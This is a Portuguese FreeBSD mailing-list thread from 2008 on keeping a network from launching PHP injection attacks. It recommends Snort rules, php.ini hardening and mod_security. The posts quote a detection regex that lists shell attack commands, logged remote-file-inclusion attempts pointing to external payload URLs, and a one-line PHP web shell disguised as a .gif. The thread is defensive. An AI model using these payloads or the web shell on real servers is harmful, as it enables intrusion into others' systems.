Welkson, Eu ia dizer a mesma coisa.. tentar usar o squidguard ou dansguardian, não se se resolveria.. ai é que os amigos para analise.. e possíveis regras.. Em 22/02/08, Welkson Renny de Medeiros[EMAIL PROTECTED] escreveu: Bom dia Cristina! Só respondendo a William: ela quer evitar que os usuários da rede dela façam ataque de sql injection usando o servidor dela... O IDS como Patrick falou seria uma boa solução... Uma outra que pensei... um filtro web também não ajudaria? tipo: um bloqueio via squid ou dansguardian nas strings select, where, delete from... isso teria que ser bastante analisado para não gerar falsos alertas... mas é uma possibilidade. O que acham? Abraço, -- Welkson Renny de Medeiros Focus Automação Comercial Desenvolvimento / Gerência de Redes [EMAIL PROTECTED] Powered by (__) \\\'',) \/ \ ^ .\._/_) www.FreeBSD.org - Original Message - From: Cristina Fernandes Silva [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Friday, February 22, 2008 11:23 AM Subject: Re: [FUG-BR] OT-Ataque PHP injection Olha pessoal é como evitar prover ataques originados do meu servidor. Em 22/02/08, Gustavo Polillo Correa[EMAIL PROTECTED] escreveu: opa Marcelo.. bem colocado sua sugestao de footprint .. é preciso mudar o banner do apache e do SO tbm... :) -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 11:10:56 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Bom, a pergunta é sobre sofrer ataques ou prover ataques ? Seria bom esclarecer isso, a maioria das respostas é como evitar os ataques, mas eu entendi que ela quer garantir que em seu servidor não tenha códigos maliciosos, capazes de prover ataques em OUTROS servidores e não no dela... Gustavo, acrescentaria na sua lista o magic_quotes_gpc de qualquer formar, acredito que todas devem ser analisadas, buscando mensurar o impacto nos sistemas existentes... com relação a alterar a extensão do php, não sei até que ponto isso é valido... teria que se alterar o banner do apache também, dentre outras coisas( eu acho )... ataques de footprint são cada vez mais sofisticados... []s Em 22/02/08, Gustavo Polillo Correa [EMAIL PROTECTED] escreveu: no php.ini vc pode fazer : disable_functions = system,exec isso fara com que o php nao execute as funcoes system() e nem exec().. dando maior seguranca a ataques desse tipo.. outras variaveis interessantes para prover maior seguranca no php sao: safe_mode= On safe_mode_gid=Off expose_php=Off register_globals=Off (sem comentarios.. rsrs) dispaly_error=Off log_eroor=On error_log=php_erro.log Considerando que seu php nao emitira erros, vale ainda configurar o apache: trocar : AddType application/x-httpd-php .php Por: AddType application/x-httpd-php .jsp Ou AddType application/x-httpd-php .dhmtl Ai vc renomeia todos os seus arquivos .php para jsp ou dhtml e isso dificultara ao atacante qual a tecnologia que vc esta usando.. ele pensara que é java pages ou dhtml ou asp.. enquanto que vc usa php!! Mas se vc deixar a variavel display_error=On, qdo der um erro.. o cara ja vai saber o que vc sta usando.. isso ajuda mas nao evita ataques contra programacao mal feita!! modsecurity do apache é muito bom... acho que todos deveriam ter... com bons filtros.. ajuda muuuito!! ate. Gustavo Polillo Correa. -- Original Message --- From: Marcelo M. Fleury [EMAIL PROTECTED] To: Lista Brasileira de Discussão sobre FreeBSD (FUG-BR) freebsd@fug.com.br Sent: Fri, 22 Feb 2008 09:59:32 -0300 Subject: Re: [FUG-BR] OT-Ataque PHP injection Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... na realidade não conheço solução voltada para isso... existe o mod_security do apache que pode te ajudar a monitorar e filtrar suas aplicações
Re: [FUG-BR] OT-Ataque PHP injection
William Grzybowski escreveu: Oi Patrick, Buenos =) Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Opa, confere hehehe Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Cara, um IDS atua na camada 7, portanto de aplicação, seja qual aplicação for. Pense então numa regra ridiculamente simples, que alerte: - qualquer fluxo de qualquer origem pra qualquer destino em portas HTTP conhecidas (80, 8080, 3128, etc) - que cumpra os requisitos acima e contenha no payload um GET (protocolo HTTP) com qualquer uma das expressoes: - qqcoisa.php?qqcoisa=(http|ftp) - qqcoisa.php?qqcoisaqqcoisa=(http|ftp) So a regra simplista acima daria match em coisas como seila.php?ver=http://sei.na.net/seila2.php.txt seila.php?ver=produtoscategoria=ftp://u:[EMAIL PROTECTED]/seila.txt Ou seja ja eh indicio pleno de injection. Adicione na verificacao se houver na URL (a partedo payload apos o GET na porta http) qualquer coisa entre: (\\?((LOCAL|INCLUDE|PEAR|SQUIZLIB)_PATH|action|content|dir|name|menu|pm_path|path|pathtoroot|cat|pagina|path|include_location|root|page|gorumDir|site|topside|pun_root|open|seite)=(http|https|ftp)\\:/|(cmd|command)=(cd|\\;|perl |python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks |id|cmd|pwd|wget |uname|cvs |svn |(s|r)(cp|sh) |net(stat|cat) |rexec |smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g\\+\\+ |\\./|whoami|killall |rm \\-[a-z|A-Z])) Ai ja nem eh mais indicio, é descaramento. Por exemplo, meu IPS acaba de pegar, nesse segundo, a seguinte tentativa: GET http://www.freebsdbrasil.com.br/home.php?area=http://www.bestlearning.co.kr/bbs/tool25.txt?cmd=id; E 10 segundos antes: Req: http://free.bsd.com.br GET //admin_users.php?phpbb_root_path=http://www.artsconnect.com.au/art/can? HTTP/1.1 405 345 (null) - libwww-perl/5.805 [EMAIL PROTECTED] Qual é mais discarado? hhehehe se voce entrar em http://www.bestlearning.co.kr/bbs/tool25.txt?cmd=id Ta la o codigo que, supostamente, deveria ser injetado no php da vitima (eu). A questão é, esses logs são de fluxo inbound, o que chega no meu IPS e vai pra dentro, mas se o fluxo fosse outbound eu pegaria exatamente a mesma coisa, pq o que passa no PAYLOAD é a mesma coisa, e é o que o IDS/IPS analisa. Então se alguem aqui, ou um servidor de cliente no Data Center for comprometido (ou o proprio cliente resolver brincar) e tentar realizar os probing partindo daqui de dentro os alertas gerados serao equivalentes. Espero ter ajudado :) Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico:
Re: [FUG-BR] OT-Ataque PHP injection
Patrick Tracanelli escreveu: Marcelo M. Fleury escreveu: Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Então entendemos coisas distintas. Ao meu ver ela nao quer q usuarios internos façam ataque de injection em qualquer q seja o destino/alvo. Ou melhor, *não* façam. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... E qual é a diferença? Sendo um IDS de rede, sua função é filtrar os 2 fluxos, o que sai e o que entra na/da rede. Ainda não entendi a relutancia hehe. na realidade não conheço solução voltada para isso... existe o mod_security A solução é o IPS/IDs hehe ;) O mod_security é fantastico, mas não se aplica, nem de longe, ao que ela quer. O mod_security é o mais indicado pra proteger exclusivamente o Apache local. É um DSO e como tal roda no mesmo nível do httpd. Portanto sequer, é capaz de identificar padrões iniciados da maquina com mod_security para outros destinos. Apenas quando o destino final é o Apache (serviço httpd). do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep,awk não resolva! Eu discordo plenamente. Olhar logs é forense. Segurança tem que ser pro-ativa. E pelo que entendi na situação da Cristina ela não terá logs do Apache ou PHP pra olhar, ja que ela quer evitar que ataques sejam provenientes de seu ambiente, nao destinados a ele (ou pelo menos ambos os casos). Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
Bom, Patrick, você está certo :), obrigado pelo post explicativo, tanto tempo sem mexer no snort ou em qualquer ids/ips, me fez confundir as bolas xD. []s Em 22/02/08, Patrick Tracanelli [EMAIL PROTECTED] escreveu: Patrick Tracanelli escreveu: Marcelo M. Fleury escreveu: Olá, até onde eu entendi, o interesse da Cristina é em não ser uma provedora de códigos maliciosos, no caso PHP. Então entendemos coisas distintas. Ao meu ver ela nao quer q usuarios internos façam ataque de injection em qualquer q seja o destino/alvo. Ou melhor, *não* façam. Acredito que um IDS/IPS não adiantaria, uma vez que não se trata de ataques a rede/host, e sim de que a rede ou host seja uma provedora de ataques... E qual é a diferença? Sendo um IDS de rede, sua função é filtrar os 2 fluxos, o que sai e o que entra na/da rede. Ainda não entendi a relutancia hehe. na realidade não conheço solução voltada para isso... existe o mod_security A solução é o IPS/IDs hehe ;) O mod_security é fantastico, mas não se aplica, nem de longe, ao que ela quer. O mod_security é o mais indicado pra proteger exclusivamente o Apache local. É um DSO e como tal roda no mesmo nível do httpd. Portanto sequer, é capaz de identificar padrões iniciados da maquina com mod_security para outros destinos. Apenas quando o destino final é o Apache (serviço httpd). do apache que pode te ajudar a monitorar e filtrar suas aplicações. Penso em algum programa que cheque a integridade de arquivos no servidor, algo parecido com o file: [EMAIL PROTECTED]:~$ cat sh.gif ?php system($_GET['sh']); ? [EMAIL PROTECTED]:~$ file sh.gif sh.gif: PHP script text e depois, habilitar alguns filtros no mod_security buscando checar qualquer uso indevido do php... confesso que não conheço muito o mod_security, uma vez que não trampo mais como sysadmin e sim como desenvolvedor(quero arrumar um tempo para brincar com ele). Acredito que no mais é realizar auditorias... procurar nos logs do apache por qualquer comando... estilo uname, id, ls ... nada que o cat,grep,awk não resolva! Eu discordo plenamente. Olhar logs é forense. Segurança tem que ser pro-ativa. E pelo que entendi na situação da Cristina ela não terá logs do Apache ou PHP pra olhar, ja que ela quer evitar que ataques sejam provenientes de seu ambiente, nao destinados a ele (ou pelo menos ambos os casos). Espero ter ajudado, boa sorte! Em 22/02/08, William Grzybowski [EMAIL PROTECTED] escreveu: Oi Patrick, Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000,
Re: [FUG-BR] OT-Ataque PHP injection
Boa tarde :) 2008/2/22 Patrick Tracanelli [EMAIL PROTECTED]: William Grzybowski escreveu: Oi Patrick, Buenos =) Não sei se entendi muito bem, poderia me dar uma luz? Php injection, como próprio nome ja diz é a inserção de codigo php causado por código mal escrito que permito o injeção de código php externo no servidor, correto? Opa, confere hehehe Como que funcionam essas regras que você falou? Essas empresas liberam regras que atuam (obviamente) na camada do HTTP e analizam o trafego para os softwares vulneraveis que eles tem conhecimento e inclusao direta de scripts em servidores externos? Cara, um IDS atua na camada 7, portanto de aplicação, seja qual aplicação for. Pense então numa regra ridiculamente simples, que alerte: - qualquer fluxo de qualquer origem pra qualquer destino em portas HTTP conhecidas (80, 8080, 3128, etc) - que cumpra os requisitos acima e contenha no payload um GET (protocolo HTTP) com qualquer uma das expressoes: - qqcoisa.php?qqcoisa=(http|ftp) - qqcoisa.php?qqcoisaqqcoisa=(http|ftp) So a regra simplista acima daria match em coisas como seila.php?ver=http://sei.na.net/seila2.php.txt seila.php?ver=produtoscategoria=ftp://u:[EMAIL PROTECTED]/seila.txt Ou seja ja eh indicio pleno de injection. Adicione na verificacao se houver na URL (a partedo payload apos o GET na porta http) qualquer coisa entre: (\\?((LOCAL|INCLUDE|PEAR|SQUIZLIB)_PATH|action|content|dir|name|menu|pm_path|path|pathtoroot|cat|pagina|path|include_location|root|page|gorumDir|site|topside|pun_root|open|seite)=(http|https|ftp)\\:/|(cmd|command)=(cd|\\;|perl |python |rpm |yum |apt-get |emerge |lynx |links |mkdir |elinks |id|cmd|pwd|wget |uname|cvs |svn |(s|r)(cp|sh) |net(stat|cat) |rexec |smbclient |t?ftp |ncftp |curl |telnet |gcc |cc |g\\+\\+ |\\./|whoami|killall |rm \\-[a-z|A-Z])) Ai ja nem eh mais indicio, é descaramento. Por exemplo, meu IPS acaba de pegar, nesse segundo, a seguinte tentativa: GET http://www.freebsdbrasil.com.br/home.php?area=http://www.bestlearning.co.kr/bbs/tool25.txt?cmd=id; E 10 segundos antes: Req: http://free.bsd.com.br GET //admin_users.php?phpbb_root_path=http://www.artsconnect.com.au/art/can? HTTP/1.1 405 345 (null) - libwww-perl/5.805 [EMAIL PROTECTED] Qual é mais discarado? hhehehe se voce entrar em http://www.bestlearning.co.kr/bbs/tool25.txt?cmd=id Ta la o codigo que, supostamente, deveria ser injetado no php da vitima (eu). A questão é, esses logs são de fluxo inbound, o que chega no meu IPS e vai pra dentro, mas se o fluxo fosse outbound eu pegaria exatamente a mesma coisa, pq o que passa no PAYLOAD é a mesma coisa, e é o que o IDS/IPS analisa. Então se alguem aqui, ou um servidor de cliente no Data Center for comprometido (ou o proprio cliente resolver brincar) e tentar realizar os probing partindo daqui de dentro os alertas gerados serao equivalentes. Espero ter ajudado :) Ajudou sim, ficou bem claro em como o IPS/IDS atuam :) obrigado. E realmente, seria a solução ideal para o problema ;D Vlw 2008/2/21 Patrick Tracanelli [EMAIL PROTECTED]: Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e
[FUG-BR] OT-Ataque PHP injection
Pessoal, Existe alguma possibilidade evitar que um ataque de php injection tenha origem do meu servidor ou nada posso fazer ? onde tenho que configurar.. apache ? regras de firewall, snort ou até mesmo php.ini Alguem ja passou por essa situação ? Obrigada - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
Oi devolta, 2008/2/21 Cristina Fernandes Silva [EMAIL PROTECTED]: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Acho que foi clara sim eu que nao li direito xD Mas acho que a resposta acaba sendo quase a mesma, não se tem mto o que fazer mesmo, o ideal seria negar acesso shell e desabilitar o system(), exec() do php pelo php.ini Em 21/02/08, William Grzybowski[EMAIL PROTECTED] escreveu: Oi, On Thu, Feb 21, 2008 at 8:27 PM, Cristina Fernandes Silva [EMAIL PROTECTED] wrote: Pessoal, Existe alguma possibilidade evitar que um ataque de php injection tenha origem do meu servidor ou nada posso fazer ? onde tenho que configurar.. apache ? regras de firewall, snort ou até mesmo php.ini Alguem ja passou por essa situação ? O maximo que você pode fazer é ficar antenada nos bugs dos scripts que você utiliza em seu servidor e mante-los sempre atualizados... Esses ataques são feitos diretamente no php injetando codigo malicioso através da query string. PS: É importante desabilitar o uso de execução de linhas de comando de sistema do php (system() exec() ) no php.ini caso você não utilize Obrigada - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd -- William Grzybowski -- Jabber: william88 at gmail dot com Curitiba/PR - Brazil - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd -- William Grzybowski -- Jabber: william88 at gmail dot com Curitiba/PR - Brazil - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
Re: [FUG-BR] OT-Ataque PHP injection
Cristina Fernandes Silva escreveu: É cobrada essas regras ? Vc tem alguma faixa de preço ? é apllicance ? ou somente as regras que posso usar no snort. Sim, são cobradas. Na Source Fire depende do seu perfil, tem varios precos. Eles confiam no que voce diz: Se voce diz que é pequeno porte, não importa se é uma multinacional, pagara como pequeno. No site da SourceFire tem todos os detalhes sobre preços. São só as regras a principio, mas pode comprar o sistema deles. Não conheço quem use no país o sistema deles. Mas não parece ser mais do que o Snort com um front-end muito amigável. No caso da Juniper tem direito automaticamente a versão convertida pra Snort todos que tem Juniper série 5000 e já pague a licença anual do IPS (que é um add-on no firewall Juniper). No Brasil quem representa a venda das assinaturas Source Fire é a BRConnection. Em 21/02/08, Patrick Tracanelli[EMAIL PROTECTED] escreveu: Cristina Fernandes Silva escreveu: Acho que não fui clara, Vou explicar, Quero evitar que alguem da minha rede use o meu ip (endereço ) para fazer ataques de php injection para outro endereço externo. Até mesmo os meus usuarios interno fazer algum ataque para servidores externos.. Cristina, um IDS ou IPS (Snort) sem dúvidas, é suficiente. O nível de satisfação vai depender da qualidade das regras de análise de instrusão que você utilizar. Isso quer dizer que dependendo do nível de seriedade da empresa será proveitoso assinar um serviço (comercial) que oferece regras testadas e atualizadas. Apesar da escolha natural ser Source Fire, minha escolha pessoal (e sugestão) é pelas regras fornecidas pela Juniper. São as mesmas utilizadas no Juniper série 5000, convertidas pro Snort. - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd - Histórico: http://www.fug.com.br/historico/html/freebsd/ Sair da lista: https://www.fug.com.br/mailman/listinfo/freebsd
